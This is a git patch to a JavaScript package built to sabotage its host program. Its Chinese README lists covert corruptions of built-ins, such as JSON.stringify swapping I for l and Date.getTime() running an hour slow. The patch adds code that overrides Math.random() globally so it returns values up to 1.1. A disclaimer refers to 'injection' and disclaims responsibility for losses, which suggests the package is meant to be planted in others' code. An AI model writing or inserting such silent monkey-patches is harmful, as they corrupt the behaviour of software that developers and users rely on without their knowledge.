From 981117a3447fa747db60aacea8779ef8228ae5be Mon Sep 17 00:00:00 2001 From: wheatup Date: Fri, 9 Apr 2021 16:51:21 +0900 Subject: [PATCH] more --- README.md | 1 + index.js | 12 ++++++++++++ 2 files changed, 13 insertions(+) diff --git a/README.md b/README.md index 648854b..d08ea2d 100644 --- a/README.md +++ b/README.md @@ -14,6 +14,7 @@ * `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)。 * `Date.getTime()` 的结果总是会慢一个小时。 * `localStorage.getItem` 有5%几率返回空字符串。 +* `Math.random()` 的取值范围改为`0`到`1.1` * ... **声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。** \ No newline at end of file diff --git a/index.js b/index.js index c8ec142..ce86341 100644 --- a/index.js +++ b/index.js @@ -104,4 +104,16 @@ } return result; } + + /** + * The possible range of Math.random() is changed to 0 - 1.1 + * @zh Math.random() 的取值范围改成0到1.1 + */ + const _rand = Math.random; + Math.random = function(...args) { + let result = _rand.call(Math, ...args); + result *= 1.1; + return result; + } + })((0, eval('this'))); \ No newline at end of file